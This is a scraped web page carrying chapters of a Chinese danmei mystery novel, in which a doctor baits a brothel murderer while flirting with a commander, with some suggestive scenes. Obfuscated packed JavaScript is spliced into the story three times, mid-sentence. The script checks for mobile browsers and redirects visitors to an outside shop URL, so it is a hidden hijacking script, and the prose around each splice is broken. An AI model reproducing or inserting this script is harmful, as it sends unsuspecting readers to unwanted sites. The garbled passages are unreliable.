说罢偏过头,轻轻吻了吻他的颈侧,更大胆地伸出舌尖,舔去了一点汗液。 慕天知心里顿时像是被人放了一把火。 脑中嗡地一响,像是幻视自己粗暴地撕开此人这件薄薄的衣袍,推至榻上,亲吻那双胡言乱语的嘴。 氤氲烛影中,慕天知被汗液浸润得发亮的喉结上下一晃,也附在秦觅耳边:“若是心里有什么不舒坦的,可以去北镇抚司的演武场跑圈,同样能让你把汗出透,发泄满心情绪。” “自己舒服多无趣?”秦觅一把拽开了他腰间玉带,弯起眼睛,“不如一起舒服。” 阴影中,他漂亮的眼睛目光灼灼:“我药箱里带了脂膏,上次已经琴瑟和鸣,这次一定更得趣,你不想试试?” 他贴近了慕天知的身体,眼睛向下一瞥,随即促狭道:“大人何必苦苦抗拒内心渴望?” 秦觅正在得意,他觉得自己很享受现在的感觉,把一个人的欲念控制在手心,搓圆捏扁,随自己玩弄。 突然一个天旋地转,他就被人按在了榻上。 慕天知的俊脸沉沉地压在他的上方,把他的双手举过头顶按住,面色冷淡地说:“操纵人心,很有趣吗?” “你也可以来操纵我的。”秦觅轻轻舔了舔干燥的嘴唇,“我并不介意。” 他拉住慕天知的手,放在自己的腰侧,甚至故意往下挪了挪:“我记得大人很喜欢这里。” “不想来北镇抚司做幕僚,故意把我们的关系搞复杂,是吗?”慕天知触到满掌柔软,心里那把火更旺。 秦觅勾着唇:“大人想多了,有过那一次,我们的关系就足够复杂,多来几次都一样——你想我也想,又是无人打扰的良辰美景,何必辜负?” “良辰美景?你指的是审问一个被人利用的傻子之后的心情?秦秀才,如果你心里有火,自己想办法撒,买根玉.势花不了多少钱,不必来戏耍我。”慕天知扣住他的脉搏,感受到那极速的跳动,压低声音,“心律不正常,还敢在这里撩三撩四,若我真的顺了你的意,你就不怕死在榻上?!” 他猛地松开了秦觅,起身把散落的曳撒脱掉,只穿着湿透了的雪白里衣和黑色外裤,“哗”地抽出书案上放出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427058|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀,转身大步离开。 秦觅撑起身体,看着他的背影,心里笑道,揣着根滚烫的铁杵去练刀,也不怕闪着。 粗鄙的念头就像一滴冰凉的水珠,从心头划过,随即落入虚无,方才情致高涨的撩闲一下子被人生硬地掐断,烧得正旺的情绪骤然变成了一团飞灰。 让人很是沮丧。 秦觅从袖子里摸出常吃的药丸吞了一颗,仰面躺在榻上,听着窗外传来的刀刃破空之声,思绪逐渐陷入混沌。 将睡未睡之时,好像又听到了打水冲洗的“哗哗”声,就想到了印象里镇抚使大人那烛光中漂亮的身形,挂在肌肉纹理上的汗珠。 自己也是喜欢的。 这很难否认。 只是今夜这事,做得是有些不妥了。 想要纵情忘记一切,却不该拿别人当工具。 这种懊恼在天亮之后越发鲜明,尤其是一觉睡醒、睁眼看到慕天知的时候,秦觅觉得自己的耳朵瞬间变成了烙铁。 好在镇抚使大人面色如常地坐在书案边提笔写字,看向他的目光也非常平静:“醒了?” “嗯,现在什么时辰?”秦觅坐了起来。 “刚过卯正。” 秦觅站起身,整了整身上的衣服,对他做了个揖:“昨夜叨扰了,本想眯一会就起来,谁知竟睡到这个时候,不知道是否打扰了大人休息。” “大人精力旺盛,不需要休息。”慕天知脸上露出促狭的笑意,“你说梦话了,知道吗?” 秦觅脸上空白了一瞬:“我说了什么?” “喊了我曾经的名字。”慕天知目光深沉,“你与我到底有过什么过往?我既然认不出你,你为何不追问?” “先前大人还不想同我扯上关系,为何现在又要问这些问题?”秦觅反问道。 慕天知静静地看着他,两人之间像是在进行一场无声的角力。 最终他垂下眼:“心里有太多秘密的人,不适宜在别人面前熟睡。” “谨遵大人教诲,告辞。”秦觅拱手道。 鬼知道自己说了什么梦话,说不定是他诈自己,不足为虑。 背着药箱离开北镇抚司的时候,恰好碰上孙昶被释放。 这位富商在狱里被关了一天两夜,现在形容十分憔悴,身上那名贵的衣料都起了褶子。 两人相见,秦觅主动打招呼:“孙老爷受苦了。” “没什么,好在镇抚使大人明察秋毫,还我清白。”身后还有都衍卫跟着,不知道他说的是否是心里话,接着孙昶又露出一副悲伤的神情,“我遭点罪没什么,可傲霜他、他……” 说着便泣不成声了。 走出北镇抚司大门,秦觅便道:“您节哀,看您气色不太好,不如由我为您诊脉?正好我也有些事想请教。” 孙府的小厮和车夫在附近也等了一天两夜,现在见自家老爷出来,立刻迎上前来。 “也好。”孙昶做了个“请”的手势,“既然顺路,不如车上聊?” 秦觅拱手道:“多谢。” 坐进马车里,他先替孙昶诊了诊脉,告知对方并无大碍,又宽慰了几句,随即才道:“孙老爷,此处就你我二人,不知有些事您是否能对在下坦诚相待?我只会向镇抚使大人禀告能直接指向凶手的信息,其他的一概替您保密。” “我在镇抚使大人面前,已经没什么秘密了。”孙昶苦笑道,“早上他又来问过一次话,我才知道,行凶的居然是一个傻子,指使者另有其人!” 秦觅了然:“原来如此,您都跟他怎么说的?” “我并不认识那傻子,也没听说傲霜与他有什么关系,但我知道傲霜平日里会照顾胭脂巷附近一些穷苦百姓,没准儿曾照应过他。唉,傻子就是傻子,半点恩情都不记,傲霜这么好的人,他居然下得了手!”孙昶郁闷道。 “这可不好说。”秦觅意味深长道,“升米恩斗米仇,若是有人起了贪心,保不齐会做出一些冲动的事来。” 孙昶不解:“可傲霜也算是他们的善人,若他出了事,他们生活定然失去支柱,谁会这么蠢?” “得知傲霜要赎身离开东篱院、不能再受他恩惠的人,或者被他答应了带着一起离开、却见他迟迟不肯动身的人,都有可能,人心总是最深不可测的,过多的失望和过于殷切的希望,都会让人变得疯狂。”秦觅淡淡道。 他接着又问:“我听月临说,曾有人因为催促傲霜赎身,和他起了口角,不知孙老爷您是否知道,此人可能是谁?” 21. 贰拾壹 回到胭脂巷附近的时候,已经是晌午时分。 秦觅依然没什么胃口,但肚子里空得厉害,他在街边一个馄饨摊坐下,要了一碗鸡汤馄饨。 脖颈处冒出汗珠的时候,他突然想到昨晚自己跟慕天知说什么“汗出得透了,才更爽”,当即尴尬得鞋里的脚趾头都蜷缩了起来。 撩拨是很有意思,看着那平日里假正经的镇抚使大人在自己面前露出心中欲念的样子更有趣,但下次谨记少说蠢话,免得回忆起来无颜面对自己。 吃了几颗馄饨,五脏庙终于安分下来,忽然听得脚步声匆匆走到自己面前,一抬头就看见了宋喜。 “秦大夫,你总算回来啦!”少年手里拎着几副药,应该是跑腿经过这里,他一屁股坐在桌对面,紧张地压低声音问道,“月临公子怎么样了?都衍卫没给他用刑吧?昨天茂哥担心得睡不着觉,要不是他们妈妈不放人,他保准得跑去北镇抚司外边等消息。” “你昨天不还怀疑他是真凶,今天怎么就担心起来了?”秦觅故意道。 少年抹了一把头上的汗,不好意思地说:“我就是随口一说,月临公子胆子这么小,才不会那么做,再说他刚成为院首,怎么可能毁掉自己的前程。” “东篱院现在怎么样了?”秦觅垂眸一边吃一边问。 “还算平静,月临公子被都衍卫带走的时候,他们妈妈死命压住消息,不让人往外传,大家都不敢说。”宋喜道,“最近没人敢光顾我们两家,客人们应该都不知道。” 秦觅轻轻点点头:“那就好。” 宋喜端详着他表情,小心翼翼地问:“你看起来不太高兴,是不是这件事很难办?茂哥还等着你回信儿呢,咱们这些人哪能跟北镇抚司说得上话,只有靠你了。” “昨夜都衍卫把霍平抓走了,你知道吗?”秦觅把勺子放在碗里,沉着脸看他。 宋喜一怔:“倒夜香的那个傻子?为什么?!他们怎么什么人都抓?” “还不是怀疑月临指使他杀了傲霜和寒柯!” 少年小小的脸上挂着大大的惊愕:“这、这、怎么会?!他俩八杆子打不到一起去啊!” “所以说,这不是胡来吗?!”秦觅义愤填膺地说,又四下看了看,往前凑近,压低声音道,“早上他们还把孙老爷放出来了,说他没有嫌疑。” 宋喜懵懵地看着他:“可茂哥觉得就是孙老爷干的,说孙老爷是为了摆脱傲霜公子,还记恨我们家公子!难道不是他吗?” “当然是他!”秦觅突然间提高声线,又像是掩饰一时失言,左右看了看,压低声音,“之前我也觉得不会是他,可现在想想,除了他还能有谁?虽然没有人证,但物证齐全不是吗?我觉得一定是他!只有他才有钱请杀手!现在放了他,肯定是钱起了作用!” 被他这么一说,经不起挑拨的少年立刻同仇敌忾:“太过分了!北镇抚司怎么能放过这种人?!” “嘘,别瞎说。”秦觅连忙道,“目前就是这个情况,陈茂不是着急知道吗?你偷偷告诉他便是。” 宋喜十分沮丧地说:“茂哥一定会很难过。” “你和他说,晚上我去东篱院跟他聊聊。”秦觅道。 等到夜幕降临,他便依言去了东篱院,手里还捏着个酒壶。 以往这条路上张灯结彩,各家青楼、南风馆门口顾客络绎不绝,此刻虽然都掌了灯,但越是鲜艳的颜色,越显出此刻冷清的惨淡模样。 秦觅进了大门,走进东篱院最前面一座小楼。 这里一楼大厅用来表演歌舞,会有很多人在这里欣赏并且饮酒,平日站在大院外边都能听到里边的丝竹之声,现在走进去都没个动静。 厅里挂了很多用来隔开座位的丝幔,从一楼房顶一直垂到地面,原本灯火通明之时,会将这半透明的丝幔映得飘飘袅袅,犹如仙境,现在黑灯瞎火的,只有几支蜡烛亮着,看上去像极了鬼域。 “有人吗?!”秦觅大声喊道,“有客到,都没人迎接?还做不做生意了?” 一名龟公匆忙跑过来,看到他歪歪斜斜的样子,连忙搀扶:“哎哟,秦大夫,您这是怎么了?怎么喝这么多?” “胡说,我还没喝呢!”秦觅一把将他推开,“我今天心里不痛快,你别惹我!” 那龟公无奈,忙道:“那您想怎么样?” “找个人来陪我!多拿点酒来!”秦觅醉眼朦胧地看着他,“再叫人来给我唱曲儿!” “您以前可没这样——” 秦觅乜斜着眼看他:“怎么?怕我不给钱?!” “当然不是!您平日里对咱们东篱院多有照拂,眼下这光景,妈妈一定不会收你的钱!” “那你把腾松给我叫来!我要他陪我喝酒!”秦觅指着他,命令道。 龟公怔了怔:“腾松?您说真的?” “怎么,看不出我也是好男风之人?”秦觅揶揄地笑,“你这不是南风馆吗?还瞧不上客人?” “不敢不敢,小的这就去给你叫!” 那个叫腾松的公子很快大步流星地来了,与傲霜、月临这样弱柳扶风的小倌不同,他英俊倜傥,身材魁梧,后背宽得像堵墙,半敞不敞的前襟里隐隐露出两块壮硕的胸肌。 这样的小倌是给另一种偏好的客人服务的,动真格的不多,大多都是陪酒。 秦觅坐在大厅中间的一张桌边,看到他来,立刻踉跄地站了起来,迷迷瞪瞪地笑道:“你来了?” 眼看他要摔倒,腾松一个健步上前把他扶住:“哟,秦大夫,你怎么喝成这样?!” “我心里闷啊!”秦觅歪歪斜斜地靠在他怀里,“我心疼傲霜!为他难过!” 陈茂刚一进大厅,就听见他哭嚎,连忙迎过去:“秦大夫!” “你也来了?坐!你们都坐!陪我喝酒!”秦觅仰头,把手里的酒壶往嘴里倒,却因为醉得厉害,壶嘴都没对准,透明的酒液划过他泛着粉的脸颊,缓缓顺着脖颈向下流。 腾松半拖半抱地把他弄回了座位,忍不住感叹:“看不出秦大夫居然如此风情万种。” “他是郎中,又是秀才,你对他尊重些。”陈茂伸手帮忙搀扶。 只有这么一个客人,老鸨没亏待,安排了一个小倌弹琴。 秦觅借着醉意,强行把来看热闹的龟公和小倌们留住,开始宣泄他的“痛苦”。 “凭什么啊?!凭什么放了孙昶?!他明明就是杀人凶手!” “肯定是他拿钱买通了北镇抚司!” “有钱能使鬼推磨!我算是真正明白了这话的意思!” “北镇抚司那慕天知他、他不做人啊!收人钱财、包庇真凶也就罢了,可他偏偏还要把这杀人的罪名栽赃给一个可怜的小倌!这不是柿子专捡软的捏吗?!” 听到他直接骂到了皇亲国戚兼镇抚使头上,老鸨吓得不行,连忙来劝:“哎哟我的秦大夫,咱可不能胡说啊!案子不还没结呢嘛?镇抚使大人肯定会秉公执法,还咱们月临一个清白!” “但愿吧……”秦觅靠在腾松怀里,抓起桌上的酒壶又往嘴里灌,“我最恨的还是那孙昶!肯定是他干的!别人不敢说的话,我说!这个人过河拆桥,杀了对他一往情深的傲霜,还睚眦必报,跟寒柯几年的过节都还记在心里,下狠手把人给杀了!” “就是他!我把话摆在这儿了!他要是不认,让他过来跟我理论!我就不信他敢把我也杀了!” “不知道他会让人怎么杀我?我又不是小倌,总不能往我魄门里塞、塞金银吧?!” “我一个穷郎中,死的时候能带点财宝走,也、也不亏!” 腾松搂着他劝道:“秦大夫,别胡说,死不死的太不吉利了。” “我不在乎……我才不在乎……”秦觅喃喃地说,目光迷离地看着虚空中的某处,“我早就想死了,一条白绫,一了百了!” 老鸨十分着急,推了一把旁边的陈茂:“愣着干嘛?劝劝啊!快把他带到别处去,在这骂都衍卫,可别给我惹上麻烦!” 陈茂也没想到会面对这种局面,连忙道:“那我去给他开个厢房?” “去去去,快去!”老鸨头疼得厉害。 腾松拦腰抱着撒酒疯的秦觅,跟着陈茂出了大厅,往旁边的小楼里走去。 秦觅脚步踉踉跄跄,又哭又笑,嘴里时不时喃喃自语,又时不时大声嚎啕。 “命运何其不公!”他满面泪痕,“为什么像孙昶那样的人活得好好的,傲霜和寒柯这种苦命人,却死得那么惨……” 腾松是个欢场老手,嘴甜得很,揽着他边走边轻声细语地哄:“秦大夫不必多想,各人有各命,说不定傲霜转世投胎,过上好日子了呢。” “是啊……活着,确实没多大意思。” “那倒也不是,咱们没遭遇意外的人,还是得珍惜生命,才不枉费来这世上一遭不是?”腾松道,“大夫今夜心情不好,等到了房间里,在下必陪您一醉方休,把心里的怨气都发出来,明日依旧好好过活!” “吱哟”一声,陈茂推开了一间空厢房的门,示意他们进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427059|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>腾松把秦觅抱到了床上:“大夫,你还能坐起来喝吗?还是先歇着?” “其实……我没资格骂别人。”秦觅拽着他的衣襟不撒手,双目无神地望着床帐,痴痴呆呆地笑了起来,“我又是个什么东西!” “您是悬壶济世的善人郎中,又是堂堂秀才,是受人尊敬的读书人,怎么能这么说自己?”腾松温声道。 “我不是……我就是个龌龊小人。”秦觅闭上眼睛,自嘲地说,“我、我跟男人睡过。” 腾松和陈茂惊讶地面面相觑。 “还不是普通男人,是镇抚使大人。” “不然他怎么会让我跟着查案?” “哈哈哈哈哈哈……读了那么多年圣贤书,我却把祖宗的脸都丢尽了!” “我不配活着,我不配……” 一个黑影悄无声息地从窗外闪过。 “他真这么说的?” 北镇抚司,镇抚使的办公邸书房内,慕天知纳罕地看着面前的暗卫。 青年抱拳道:“涉及大人秘辛,属下不敢妄言!” “之后还说了什么?”慕天知倒是没有被下属撞破秘密的尴尬,只觉得这事儿有点蹊跷。 “他喝多了,胡言乱语了不少,反反复复是骂孙昶,或者说自己丢了读书人和祖宗的脸,根儿上就已经烂了,不配活着,需要赎罪,死了就解脱了。” 慕天知沉吟片刻:“知道了,继续盯着胭脂巷的动向。” “是!属下告退!”暗卫行了礼,转身离开书房。 昨晚审讯霍平以后,慕天知就觉得秦觅有一点不对劲。 以往谈起案情,此人总会滔滔不绝,可昨夜却好像对此事意兴阑珊,哪怕被霍平的情况影响了心情,也不该是这个反应,就算气愤,也不至于回避真相、放纵情绪,而是会更加殚精竭虑地破案,抓出真凶。 就像梅淼,气得一晚上都没睡好,天不亮就带着一队人马去胭脂巷,查探与霍平关系密切的人。 这秀才到底在搞什么鬼? 他不是早就知道,孙昶不可能是凶手吗? 慕天知这一天并没闲着,一晚上都没怎么睡,连夜处理其他公务,上午又进宫面圣,简述了近日以来的工作,下午还亲自去抄了个七品官的家,被一屋子家眷的哭嚎声吵得脑子疼。 晚上回来刚吃了点饭,正准备捋一下七零九案的线索,就听到下属报来了这样的情报,不免觉得脑浆沸腾。 秦觅的动向他不能算是了如指掌,也还算是清楚的,知道他曾单独行动,跑去过凤凰街找傲霜参股的店铺询问情况。 一直都很积极的人,在案子初见眉目的时候,突然间性情大变,所为何事? 除非……他已经知道了凶手是谁?! “大人!”梅淼风风火火地从外边冲进来。 又是辛苦盘问了一天,估计并没有太乐观的结果,梅百户状态有一些焦躁。 慕天知站起身,问道:“查得怎么样?” “不怎么样。”梅淼苦着脸说,“霍平本就被其他人视作不祥之人,再加上他倒夜香,浑身脏兮兮的,更被人看不起,除了张四以前奚落过他,并没有多少人跟他有来往,再加上他都是昼伏夜出,没有人注意他的动向。我们今天挨门挨户把他家附近的几条小巷的百姓都问了一个遍,没人知道他跟谁关系好。” 慕天知点点头,向外厅走去:“家里搜查得如何?” “昨晚留了几个人在他家里翻了一遍,别看他穷得裤子都穿不上,家里倒是存了不少破烂。”梅淼跟着他到了厅里,“零碎东西很多,他们还在整理,说是有一些漂亮的小珠子、小玩意儿,还有些小猫的木雕,都是些孩子气的东西。他目不识丁,恐怕很难找到什么文字证据。” “有跟东篱院或者傲霜有关的物证吗?”慕天知问道。 梅淼摇了摇头:“暂时还不清楚。”接着又疑惑道,“如果他是受傲霜照顾,怎么可能下得了手杀人?” “有可能直接与他接触的并非傲霜,他未必知道自己是受傲霜照顾,。”慕天知看着板子上的人物关系图,负手道,“当然,这只是我的猜测。” 这时窦乾窦坤兄弟俩一起从外边进来,齐声道:“大人,有发现!” 片刻后,后院厢房里,月临正抱着膝盖坐在窗下的榻上发愣,突然间“哗啦”一声,门被推开,慕天知一脸严肃地大步进来。 “月临,先前秦觅都曾向你问过什么问题,有哪些没跟我们提过?尽快一一道来,否则他会有生命危险!” 22. 贰拾贰 在东篱院大闹了一出之后,秦觅没有在那里留宿,过了丑时,便踉踉跄跄地回了家。 不知道是他自己的错觉,还是确有其事,他总觉得身后有人跟着自己,冷不丁回头去看,却并没有看到人影。 是都衍卫的探子吗? 如果是,倒也不奇怪,谁不知道整个胭脂巷都在北镇抚司的监控之下。 方才那通发泄,不管是不是出自真心,对于调节心情还是有用的。 果然有时候人就该不管不顾地发一次疯,发完了神清气爽。 若是今晚计划进展顺利,那就更好了。 回到家之后,他并没有洗漱,忍着一身粘汗直接上了床——醉鬼哪还顾得上洗澡,做戏至少要做全套。 尽管由于过于自负,那幕后指使者会暴露出一些马脚,但此人警惕性不低,万一被对方发现有什么不对劲,就可能功亏一篑。 错过这次机会,下次就不知道是什么时候了。 不能等,也不想再等,一定要尽快把他抓住! 去东篱院之前,秦觅已经服下解酒药,也装得醉醺醺,但在那边做戏,还是喝了些酒,身心俱疲加酒意作祟,他难以维持清醒,不知不觉有些昏沉。 夜色深沉,原本的满月像是被人擦去一块原本浑圆的边,还被厚实的云朵挡住了光晕,月光便显得黯淡不少。 在丑时末,四野陷入一片漆黑时,一个矮小的身影出现在了秦宅外,左右张望了一下,轻巧地翻过围墙,进入了院中。 秦觅租的这套小院不大,一侧是伙房,正中是主屋,主屋中间是厅房,一头是书房,另一头是卧房,和其他普通人家无异。 那黑影小心翼翼地贴着伙房在地面投下的阴影,身手敏捷地溜到了主屋中间,轻手轻脚地推开一条狭窄的门缝,泥鳅一样灵活地钻了进去。 卧房床上,秦觅姿态散漫地躺着,胸口舒缓地一起一伏,看起来睡得很熟,完全没有注意到逐渐靠近的黑影。 对方安静地端详着他,过了好一会儿,才从后腰拿出一卷绳子。 淡淡月光从自下往上开的窗户缝中映进来,将绳子的影子投在了秦觅身上。 而他毫无察觉,依旧睡得十分香甜。 黑影把手里的绳子展开,轻手轻脚地靠近秦觅,猝不及防地出手,狠狠勒住了他的脖子! 然而,出乎他的意料,就在这时,一道闪电从天际划过,接着一声惊雷凌空炸响—— 黑影慌张地抬头,与此同时,被勒住脖子的秦觅倏地睁开眼,憋得通红的脸上未见丝毫惊慌,藏在身下的右手掏出一把雪亮的匕首,反手向后狠狠扎了一刀! 只听“啊”地一声呼痛,黑影松开了绳子,转身便跑,从窗户里翻了出去。 秦觅挣扎着跳下床,也跟着翻窗跳进院子,拼尽全力跟上,在黑影快要爬上院墙的那一刻死死抓住了他的一只脚。 “放手!”双手扒在墙瓦上的黑影低头看他,拼命挣动双脚,使劲儿踹他的手。 又是一道闪电亮起,墨蓝的天空被照亮了半边,那黑影的脸也彻底暴露在了秦觅眼前。 在惊雷和狂风中,他死死抓住对方的脚踝,仰头道:“果然是你!陈茂!” 陈茂见被他认出来,便是不打算逃了,抬起另一只脚,往秦觅头顶狠狠一蹬! 这当头棒喝一般的一脚把他蹬得天灵盖巨震,本就被酒意弄得不太清醒的脑子登时乱作一团,身体软绵绵地向下跌倒,手也不受控制地松开。 “你这么聪明,明明有了一线生机,为什么不要?为什么要追出来?!”陈茂从墙头跳回地面。 此人看起来身体干瘦,实际上力气却并不小,此时一手揪住秦觅的发髻,把他从地上拽起来,狠狠往墙上撞去! 秦觅挣扎着用手臂垫了一下,护住头颅。 他反手去抓陈茂的右臂,摸到透出粘稠血液的位置,使劲儿往下一掐! 陈茂疼得厉害,发出一声嚎叫,松开了手,立刻换了左手去抓他的发髻。 秦觅双臂被撞得生疼,但绝境求生的本能让他陡然生出了不少力量,猛地把陈茂推搡开。 “哪怕、豁出命去,我也、不会放过你!”他气喘吁吁地扑上前,把陈茂压在地上,死死掐住对方的脖子,提起拳头照着那脑袋就是一拳,“你这个混蛋!傲霜对你那么好!你为什么要害死他?!为什么要羞辱他?!” 陈茂比他力气大些,也灵活些,当即把人从自己身上掀了下去,反而骑在了秦觅的腰上。 “是他枉费了我一番心意!是他背叛了我!”他失控大叫道,抬手也给了秦觅一拳。 秦觅在身侧的地上胡乱摸索,摸到一小块石头,毫不犹豫地冲他的额头狠狠砸去。 陈茂一边扣住他的手,一边偏头躲开,又因此而重心不稳,被秦觅掀了下去。 两人在狂风中扭打在了一起。 强大的愤怒和求生欲激发了秦觅前所未有的力气,他脑子一片混沌,只知道要用尽全力抓住此人,决不能被弄死,也决不能放对方离开! 雷声急促,仿佛一连串爆破声响,隐隐有一种地动山摇的感觉,豆大的雨点瞬间落了下来,泥土气息扑面而来,很快他们就被雨水浇得浑身湿透,但谁也没放开谁,成了一团泥人。 突然间,一支短箭当空而来,穿透雨幕,直直地飞向了扭打在一起的两人,准确无误地钉在了陈茂刚刚挥起的左臂上。 他当即发出一声惨叫:“啊——” 秦觅还没反应过来,只顾大口大口喘着粗气,刹那间,就见一个黑影旋至身前,一把将他拉起来,带到了几步之外。 他一片眼花缭乱,身体凉得发抖,熟悉的臂膀让他判断出了来人:“大人……” 慕天知注意力都在秦觅身上,这时眼角余光瞥到仿佛有黑影一闪,转头望去,却只有空空的雨幕。 院墙上还蹲着一个瘦削的身影,这会儿从墙上跳下来,手里拿着一把小弩走到陈茂面前,狠狠踢了他一脚:“要不是怕伤了秦秀才,老娘收了些力气,不然定要把你这手臂射个对穿!” 赫然是梅淼。 接着另有两人跃入院中,正是窦乾窦坤两兄弟。 他俩把陈茂从地上拎起来,窦乾更是一把将短箭从他手臂上拔出,疼得他又是一声大叫。 窦坤转身望着抱着秦觅的慕天知:“大人,当场抓了现行,这人算是跑不了了,秦秀才这边怎么办?” “你们把陈茂带回去,让戚鸾音给他治伤,保住他的小命待审——让霍平看到他被收监。”慕天知沉声道,“我留下来查看秦秀才的伤,若他无碍,明日带他去北镇抚司。” 秦觅这下是真的没了力气,软绵绵地靠在他怀里,听着低沉的声音从喉结传出,感受到了他胸腔的震动。 要留下来照顾我啊?他闭着眼,轻松地想,小烽哥哥人还是极好的。 我这次,好像很勇猛。 只是现在好像撑不住了。 别晕,要面子,哎—— 秦觅的意识陷入了黑暗当中。 不知道过了多久,再醒过来的时候,他先是感受到了浑身剧痛。 脑壳疼,手臂疼,被踹过一脚的小腹也疼,双腿更是酸痛得难以形容,连睁开眼皮都费劲。 要不是心慌得厉害,估计自己现在都不会醒。 眼前仍是一片昏暗,显然天还没亮,但雨声已经停了,不远处的桌上油灯亮着,下一刻,一个高挑的身影走了进来。 慕天知发髻依旧挽得整齐,但赤着上半身,只穿了一条黑色里裤,所幸身材极佳,看上去丝毫不损威严。 秦觅不错眼珠地盯着他,露出一抹坏笑。 “大人……昨晚要与你共赴巫山你不肯,现在,我可是没力气了。”他虚弱地说。 慕天知衣服湿透了,还弄上了泥巴,现在洗净晾了起来,他不想折腾都衍卫再给他送套公服过来,便图了个清凉。 他坐在桌边,冷淡地说:“话都说不连贯就少说骚话,你身上的外伤我已经用金创药涂过了,比你自己的疗效应该好些,你还有哪儿不舒服?心脏难受吗?”拿起桌上的小药瓶,“是不是吃这个?” “就是这个,辛苦大人帮我拿过来。”秦觅道。 慕天知挪过去,坐在他身旁:“吃几粒?” “一粒。” “可要就水?” “不必。” 慕天知便从药瓶里倒出一粒药丸,塞进了他口中。 手指接触到柔软的嘴唇,心尖像是被什么毛茸茸的东西扫过了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427060|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于是又痛斥道:“明明有心痹之症,还以身入局,不想活了?!” “不会的,我心里有数。” 嘴上是这么说,现在情绪还有点激动,配上咚咚作响的心脏,秦觅实在是有些难捱。 身上已经被换好了干爽的衣服,只是头上还有一层泥巴,现在已经干成了壳,像是戴了顶脏兮兮的帽子,泥土味道鲜明。 “多谢大人……帮我换衣服。”他偏了偏头,看向坐在床边的男人。 慕天知轻哼一声:“明明推断出了真凶,为何不告诉我?是看不起北镇抚司还是看不起我?” “岂敢……大人英明神武,堪称再世诸葛,查出凶手是谁,定在须臾之间。”秦觅无力地闭上眼睛,好让自己有力气说话,“我只是觉得,人证不堪用,物证又极其缺乏,只能将人抓个现行,才能让他无法抵赖。” “所以就逮着北镇抚司和我一起糟践是吗?”慕天知揶揄道。 秦觅勾起唇角,虚弱道:“我猜有都衍卫在监视,他们一定会及时把消息报告给大人,大人耳聪目明,定然很快能猜到我的用意,前来营救,还有,我与大人一夜风流很是享受,没有、没有觉得丢脸——” “别事后找补,你若真心与我合作,定然会提前与我商量好计划,按着你这个做法,但凡哪一步出了差池,你小命就没了。”慕天知打断道。 秦觅微微睁开眼,做出一副可怜的模样:“现在不是没事吗?还是大人责怪我透露了我俩的秘事?” 其实他不用故意装,也已经显得很可怜的,但这个做派,慕天知看了实在生气。 “本官没有那么小心眼。”他冷冷地说,“我已经让人警告东篱院,让他们把嘴闭紧。” “他们不敢……妄议景国公世子啦……大人也不必担心,会影响将来娶妻——” “我的事不用你管。”慕天知再度打断,“若有哪里不舒服就说出来,我找郎中给你诊病,没有就闭嘴。” 秦觅很不舒服地动了动脖颈,可怜巴巴地看着他:“我想洗头。” 慕天知:“……” 但半个时辰之后,镇抚使大人还是烧好了水,把铫子拎进卧房,又打了一大桶水进来,把床上的秦觅调转了一下方向,让他脚蹬着墙壁,伸出床缘的后颈枕在一条长凳上,下方用稍矮一点的坐墩撑起铜盆,就这么帮他洗起了头发。 冰凉发疼的脑袋触碰到温热的水,痛感顿时被消解了大半。 “没想到大人的手法如此娴熟,不像个养尊处优的世子。”秦觅撩起眼皮,向后看人,奉上讨好的笑意。 慕天知把他又长又厚的头发浸在铜盆里,把无患子粉倒在他的头皮上,力道不轻不重地揉搓:“我若贪图养尊处优,能有今日?” “大人要带我去北镇抚司,是想我去审陈茂?”安静了片刻后,秦觅突然低声道,“这次我先揣摩到真凶,是因为我对傲霜和他周围的人更了解,大人只比我慢了一步,已经算神探了。” 慕天知没有理会他这拍马屁的解释,只是道:“因为你同他熟悉,又了解他的心态,安排你去审,更能攻心为上。” “唔,大人知人善任,在下感激不尽。” “知道感激就闭嘴。” 秦觅不打算得了便宜卖乖,于是听话地再也没吭声。 慕天知起初并没有想照顾他,但又不好把人放在一边不管,毕竟此人今次算是立了功。 于是堂堂景国公世子、北镇抚司镇抚使,在这里尽心尽力地给一个秀才洗头。 洗得那叫一个认真,水就换了好几遍,最后还点了炭盆过来给他烤干,看他安稳睡去。 穿越过来不过十年,慕天知并没有养成什么阶级意识,能自己干的事还是会自己干,帮别人做些事,也不会觉得有什么不妥。 只是对这秀才太尽心,显得自己太好拿捏,心里有那么一点不爽。 毕竟还没弄清,这心眼堪比莲蓬的秀才到底安的什么心。 “小烽哥哥,我害怕……” 突然间,床上睡着的人发出了含混的呓语,一只手焦躁地摸来摸去,像是在寻找什么慰藉。 坐在床边的慕天知想都没想,下意识地把手伸了过去。 秦觅一把握住他的手,惊恐的睡颜瞬间平静了下来。 23. 贰拾叁 